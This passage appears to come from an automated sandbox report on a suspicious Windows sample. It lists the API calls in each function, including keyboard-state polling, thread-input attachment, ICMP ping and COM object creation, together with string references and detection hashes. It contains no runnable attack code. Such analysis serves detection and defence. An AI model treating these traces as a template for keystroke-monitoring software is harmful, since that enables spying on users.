GetAsyncKeyState.USER32(000000A1), ref: 00363647
GetKeyState.USER32(000000A1), ref: 0036365C
GetAsyncKeyState.USER32(00000011), ref: 00363674
GetKeyState.USER32(00000011), ref: 00363686
GetAsyncKeyState.USER32(00000012), ref: 0036369E
GetKeyState.USER32(00000012), ref: 003636B0
GetAsyncKeyState.USER32(0000005B), ref: 003636C8
GetKeyState.USER32(0000005B), ref: 003636DA

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 863981ee86a5dc6952adf5abe71339867e8610057e2e34fbd340e44ac75fca04
Instruction ID: e22485a8d15f3dfd013df7ff924dec2d4d1e669d63a3d736d4a05023e4285b33
Opcode Fuzzy Hash: 863981ee86a5dc6952adf5abe71339867e8610057e2e34fbd340e44ac75fca04
Instruction Fuzzy Hash: 2241E1609047C97DFF339B64C8543A5BAA1AB13344F09C04DD6C3476C6EBA49BC88BA2

Function 0035A28D Relevance: 16.6, APIs: 11, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,?), ref: 0035A2AA
SafeArrayAllocData.OLEAUT32(?), ref: 0035A2F5
VariantInit.OLEAUT32(?), ref: 0035A307
SafeArrayAccessData.OLEAUT32(?,?), ref: 0035A327
VariantCopy.OLEAUT32(?,?), ref: 0035A36A
SafeArrayUnaccessData.OLEAUT32(?), ref: 0035A37E
VariantClear.OLEAUT32(?), ref: 0035A393
SafeArrayDestroyData.OLEAUT32(?), ref: 0035A3A0
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0035A3A9
VariantClear.OLEAUT32(?), ref: 0035A3BB
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0035A3C6

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 900aa3de839148e82dd9aa3e073c7e5191b9189f3ee558064dc94362455db9b4
Instruction ID: c165bab3c85cf1aec581fd292d68ae308e1c90c806822afb19bd58a269a0c56b
Opcode Fuzzy Hash: 900aa3de839148e82dd9aa3e073c7e5191b9189f3ee558064dc94362455db9b4
Instruction Fuzzy Hash: AE415E75900219AFDB02DFA5DC84DDEBFB9FF09305F008065F912A7261DB34AA49DBA1

Function 0037B250 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 003284A6: __swprintf.LIBCMT ref: 003284E5
Part of subcall function 003284A6: __itow.LIBCMT ref: 00328519

CoInitialize.OLE32 ref: 0037B298
CoUninitialize.COMBASE ref: 0037B2A3
CoCreateInstance.COMBASE(?,00000000,00000017,003AD8FC,?), ref: 0037B303
IIDFromString.COMBASE(?,?), ref: 0037B376
VariantInit.OLEAUT32(?), ref: 0037B410
VariantClear.OLEAUT32(?), ref: 0037B471

Strings

NULL Pointer assignment, xrefs: 0037B348
Failed to create object, xrefs: 0037B30E, 0037B3C4
Invalid parameter, xrefs: 0037B38F

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: dcafabffd2618da4ac023949e5b217903080fe0abffb783b38fc1a6ed6e9a235
Instruction ID: 35ad421dcc7de52439c4a57a40ab465cc181242a2eeb76058e69795408628f7a
Opcode Fuzzy Hash: dcafabffd2618da4ac023949e5b217903080fe0abffb783b38fc1a6ed6e9a235
Instruction Fuzzy Hash: CC61AD312047019FD722DF54C885B6EF7F8AF49714F008819F9899B291C774ED84CB92

Function 0033C24A Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 185windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 0033C2D2

Part of subcall function 0033C697: GetClientRect.USER32(?,?), ref: 0033C6C0
Part of subcall function 0033C697: GetWindowRect.USER32(?,?), ref: 0033C701
Part of subcall function 0033C697: ScreenToClient.USER32(?,000000FF), ref: 0033C729

GetDC.USER32 ref: 0039E006
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0039E019
SelectObject.GDI32(00000000,00000000), ref: 0039E027
SelectObject.GDI32(00000000,00000000), ref: 0039E03C
ReleaseDC.USER32(?,00000000), ref: 0039E044
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0039E0CF

Strings

@U=u, xrefs: 0039E019
U, xrefs: 0039DFA4

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: @U=u$U
API String ID: 4009187628-4110099822
Opcode ID: e3e506116ee503f3d01bda3384fd5fd6e89c6f8df479c1d762966bf9f62574d9
Instruction ID: 58c85bab98bd2c90cc0d12bef2227b17cd63ccbaf1f7e9e3791da3ceba467cca
Opcode Fuzzy Hash: e3e506116ee503f3d01bda3384fd5fd6e89c6f8df479c1d762966bf9f62574d9
Instruction Fuzzy Hash: 5F71D131500209DFCF23CF64CC85AEA7BB9FF49350F198669ED56AA2A6C7318C41DB61

Function 00378694 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000101,?), ref: 003786F5
inet_addr.WS2_32(?), ref: 0037873A
gethostbyname.WS2_32(?), ref: 00378746
IcmpCreateFile.IPHLPAPI ref: 00378754
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 003787C4
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 003787DA
IcmpCloseHandle.IPHLPAPI(00000000), ref: 0037884F
WSACleanup.WS2_32 ref: 00378855

Strings

Ping, xrefs: 00378778

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: c351cee7d092c052e4725e379965836e879c09b37d639600248d4970b9f106a5
Instruction ID: dae472d24318b5849664bc55b8f73eeabddba6301253cb0b3d1f01ab9000248a
Opcode Fuzzy Hash: c351cee7d092c052e4725e379965836e879c09b37d639600248d4970b9f106a5
Instruction Fuzzy Hash: C451A631644200AFD722DF24DD89B2AB7E8EF49710F158529F55ADB2A1DF34ED00CB42

Function 00389C50 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00389C68
CreateMenu.USER32 ref: 00389C83
SetMenu.USER32(?,00000000), ref: 00389C92
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00389D1F
IsMenu.USER32(?), ref: 00389D35
CreatePopupMenu.USER32 ref: 00389D3F
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00389D70
DrawMenuBar.USER32 ref: 00389D7E

Strings

0, xrefs: 00389C61

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0
API String ID: 176399719-4108050209
Opcode ID: 3c93e23d65877d14f0bb9b4cf6df2098c7a38a72a285067c7a816b53d72fbe78
Instruction ID: 00ecba337435db9322b0c0dab2e2d34d61fe32b830088e47ce5f2644ffa05312
Opcode Fuzzy Hash: 3c93e23d65877d14f0bb9b4cf6df2098c7a38a72a285067c7a816b53d72fbe78
Instruction Fuzzy Hash: CB414875A00209AFDB22EF64D884BEA7BB9FF49304F190459E946AB361D730A914CF64

Function 0036EC11 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 97COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0036EC1E
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0036EC94
GetLastError.KERNEL32 ref: 0036EC9E
SetErrorMode.KERNEL32(00000000,READY), ref: 0036ED0B

Strings

READONLY, xrefs: 0036ECD6
UNKNOWN, xrefs: 0036ECC3
NOTREADY, xrefs: 0036ECCA
READY, xrefs: 0036ECE4
INVALID, xrefs: 0036ECDD

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 3a02331cc219e0740457b4c9574c977814a5987c978d11975882645475ac7773
Instruction ID: f4fbdc25d47c4bdfa348fd48844b43294189c103897b5199e0c5eeecd7893b26
Opcode Fuzzy Hash: 3a02331cc219e0740457b4c9574c977814a5987c978d11975882645475ac7773
Instruction Fuzzy Hash: 1E31A13AA002099FC713EF68D945EEEB7B8FF45700F118026F502EB295DA719E45CB91

Function 00388CDB Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00388CF3
GetDC.USER32(00000000), ref: 00388CFB
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00388D06
ReleaseDC.USER32(00000000,00000000), ref: 00388D12
CreateFontW.GDI32(?,00000000,00000000,00000000,?,?,?,?,00000001,00000004,00000000,?,00000000,?), ref: 00388D4E
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00388D5F
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00388D99
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00388DB9

Strings

@U=u, xrefs: 00388D5F, 00388DB9

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID: @U=u
API String ID: 3864802216-2594219639
Opcode ID: 4783d530e4560f2ee655f6616cb670aa84f891e8bca0cd9b523eff9f8da81e80
Instruction ID: d2ee11317a06f995906d2183b91650153b1aa006d9a6700a326a304f202de307
Opcode Fuzzy Hash: 4783d530e4560f2ee655f6616cb670aa84f891e8bca0cd9b523eff9f8da81e80
Instruction Fuzzy Hash: 1D318B72200210BBEB129F54CC8AFEA3BADEF4A711F054055FE099A191CAB59841CB70

Function 0036B05A Relevance: 15.3, APIs: 10, Instructions: 317COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(?,00000000), ref: 0036B137

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: 9f0450e1f257204fe6fb90935152f76c41de3a11b19e576ab341a5ffcd2ae56c
Instruction ID: 2e68b893e102d5cbb6e899c86462500f0c7690eddf21e82fa090e236382888b6
Opcode Fuzzy Hash: 9f0450e1f257204fe6fb90935152f76c41de3a11b19e576ab341a5ffcd2ae56c
Instruction Fuzzy Hash: 4EC17D75A0021ADFDB06CF98C491BAEB7F4EF09315F20806AE616EB351D734A981CF90

Function 0034BA66 Relevance: 15.2, APIs: 10, Instructions: 219COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0034BA74

Part of subcall function 00348984: __mtinitlocknum.LIBCMT ref: 00348996
Part of subcall function 00348984: RtlEnterCriticalSection.NTDLL(00340127), ref: 003489AF

__calloc_crt.LIBCMT ref: 0034BA85

Part of subcall function 00347616: __calloc_impl.LIBCMT ref: 00347625
Part of subcall function 00347616: Sleep.KERNEL32(00000000,?,00340127,?,0032125D,00000058,?,?), ref: 0034763C

@_EH4_CallFilterFunc@8.LIBCMT ref: 0034BAA0
GetStartupInfoW.KERNEL32(?,003D6990,00000064,00346B14,003D67D8,00000014), ref: 0034BAF9
__calloc_crt.LIBCMT ref: 0034BB44
GetFileType.KERNEL32(00000001), ref: 0034BB8B
InitializeCriticalSectionAndSpinCount.KERNEL32(0000000D,00000FA0), ref: 0034BBC4

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CriticalSection__calloc_crt$CallCountEnterFileFilterFunc@8InfoInitializeSleepSpinStartupType__calloc_impl__lock__mtinitlocknum
String ID:
API String ID: 1426640281-0
Opcode ID: bd1cd67c8fc2c71e088eb804281f984ae6bc0870cddd3aeae7a109d6b6648a23
Instruction ID: 8447ab4882c425e8ece969d788b866577e81f7484f9f7b18b40b596c919cbf8a
Opcode Fuzzy Hash: bd1cd67c8fc2c71e088eb804281f984ae6bc0870cddd3aeae7a109d6b6648a23
Instruction Fuzzy Hash: 0A8190719047458FDB26CF68C8C06A9BBF8EF49324B24425DD4A6AF3E1CB34E842CB55

Function 00364A5B Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00364A7D
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00363AD7,?,00000001), ref: 00364A91
GetWindowThreadProcessId.USER32(00000000), ref: 00364A98
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00363AD7,?,00000001), ref: 00364AA7
GetWindowThreadProcessId.USER32(?,00000000), ref: 00364AB9
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00363AD7,?,00000001), ref: 00364AD2
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00363AD7,?,00000001), ref: 00364AE4
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00363AD7,?,00000001), ref: 00364B29
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00363AD7,?,00000001), ref: 00364B3E
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00363AD7,?,00000001), ref: 00364B49

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: d18a8eae581a24197915a094568e47a62f46dd063139695c50874087666bb463
Instruction ID: 4609d3b353dda9cb1397771b154e20c6b72421ee230fbfa45da93a7fdb1b6615
Opcode Fuzzy Hash: d18a8eae581a24197915a094568e47a62f46dd063139695c50874087666bb463
Instruction Fuzzy Hash: 4F319172A00244BFDB239B64EC89BBD77ADEB91311F158105F906DB1A4D7B4DD408B60

Function 0035D978 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 239COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,0035DD46), ref: 0035DC86

Strings

INSTANCE, xrefs: 0035DB94
CLASS, xrefs: 0035DA06
CLASSNN, xrefs: 0035DA29
NAME, xrefs: 0035DAB8
TEXT, xrefs: 0035DBBD
REGEXPCLASS, xrefs: 0035DA4C

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: e4e0ce8f7668fa5e418bff15a88dfdd9e3feb507ceb981c0244090047acaaa0d
Instruction ID: 65d5a3757bd47bd7a6f14fafc9fa5a80c266963367d374616914a7a918d17d0d
Opcode Fuzzy Hash: e4e0ce8f7668fa5e418bff15a88dfdd9e3feb507ceb981c0244090047acaaa0d
Instruction Fuzzy Hash: 5091A330900506AACB1EDF64C4C1FEEFB75BF14301F55811AEC5AAB261DB70695DDB90

Function 003245A7 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 211COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 003245F0
CoUninitialize.COMBASE ref: 00324695
UnregisterHotKey.USER32(?), ref: 003247BD
DestroyWindow.USER32(?), ref: 00395936
FreeLibrary.KERNEL32(?), ref: 0039599D
VirtualFree.KERNEL32(?,00000000,00008000), ref: 003959CA

Strings

close all, xrefs: 003245EB

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: ed2446da51a3da640a3f9a18a8602ada8399da703f67169b09e0f95800045f64
Instruction ID: fe4015ced2d8469a702766d6706afe447795296294db5a73ccf97a4bcc75e290
Opcode Fuzzy Hash: ed2446da51a3da640a3f9a18a8602ada8399da703f67169b09e0f95800045f64
Instruction Fuzzy Hash: A2914E34610622DFD71BEF14E895E69F3B8FF15700F5142A9E41AAB662DB30AE56CF00

Function 00389882 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 142windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00389926
SendMessageW.USER32(?,00001036,00000000,?), ref: 0038993A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00389954
_wcscat.LIBCMT ref: 003899AF
SendMessageW.USER32(?,00001057,00000000,?), ref: 003899C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 003899F4

Strings

SysListView32, xrefs: 003898F8
@U=u, xrefs: 00389926, 0038993A

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: @U=u$SysListView32
API String ID: 307300125-1908207174
Opcode ID: 71806031e4a87a476235decd0559173ac55bb722bfa363c1a2cbccfa8f60b697
Instruction ID: 6ca9c8ffee09a0af36b309e467ad6918749431905570db6b4fcda80dd8d83b88
Opcode Fuzzy Hash: 71806031e4a87a476235decd0559173ac55bb722bfa363c1a2cbccfa8f60b697
